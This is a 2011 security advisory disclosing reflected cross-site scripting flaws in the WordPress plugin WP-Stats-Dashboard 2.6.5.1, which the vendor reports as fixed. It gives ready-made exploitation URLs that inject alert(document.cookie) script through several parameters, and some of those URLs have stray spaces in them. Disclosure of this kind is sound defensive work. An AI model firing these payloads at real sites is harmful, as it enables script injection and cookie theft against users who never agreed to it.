Cross-site Scripting (XSS) Vulnerabilities in WP-Stats-Dashboard

Advisory ID:HTB23035
Product:WP-Stats-Dashboard
Vendor:Dave Ligthart
Vulnerable Versions:2.6.5.1 and probably prior
Tested Version:2.6.5.1
Advisory Publication:July 27, 2011 [without technical details]
Vendor Notification:July 27, 2011
Public Disclosure:August 17, 2011
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in WP-Stats-Dashboard which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerabilities in WP-Stats-Dashboard
1.1 The vulnerability exists due to input sanitation error in the "icon", "url", "name", "type", "code" and "username" parameters in wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile_type.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that register_globals is enabled.
Exploitation examples:
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/admin_profile _type.php?icon=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/ plugins/wp-stats-dashboard/view/admin/admin_profile_type.php?url=%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/p lugins/wp-stats-dashboard/view/admin/admin_profile_type.php?name=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/ plugins/wp-stats-dashboard/view/admin/admin_profile_type.php?type=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/ plugins/wp-stats-dashboard/view/admin/admin_profile_type.php?code=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://[host]/wp-content/ plugins/wp-stats-dashboard/view/admin/admin_profile_type.php?code=200&usern ame=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

1.2 The vulnerability exists due to input sanitation error in the "onchange" parameter in wp-content/plugins/wp-stats-dashboard/view/admin/blocks/select-trend.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that register_globals is enabled.
Exploitation example:
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/blocks/select -trend.php?onchange=%3E% 3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
1.3 The vulnerability exists due to input sanitation error in the "submenu" parameter in wp-content/plugins/wp-stats-dashboard/view/admin/blocks/submenu.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that register_globals is enabled.
Exploitation example:
http://[host]/wp-content/plugins/wp-stats-dashboard/view/admin/blocks/submen u.php?submenu[%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E]

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Solution:
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References:
[1] High-Tech Bridge Advisory HTB23035 - https://www.immuniweb.com/advisory/HTB23035 - Cross-site Scripting (XSS) Vulnerabilities in WP-Stats-Dashboard
[2] WP-Stats-Dashboard - daveligthart.com - Displays the WordPress.com stats graph, your traffic and social metrics monitoring on your dashboard.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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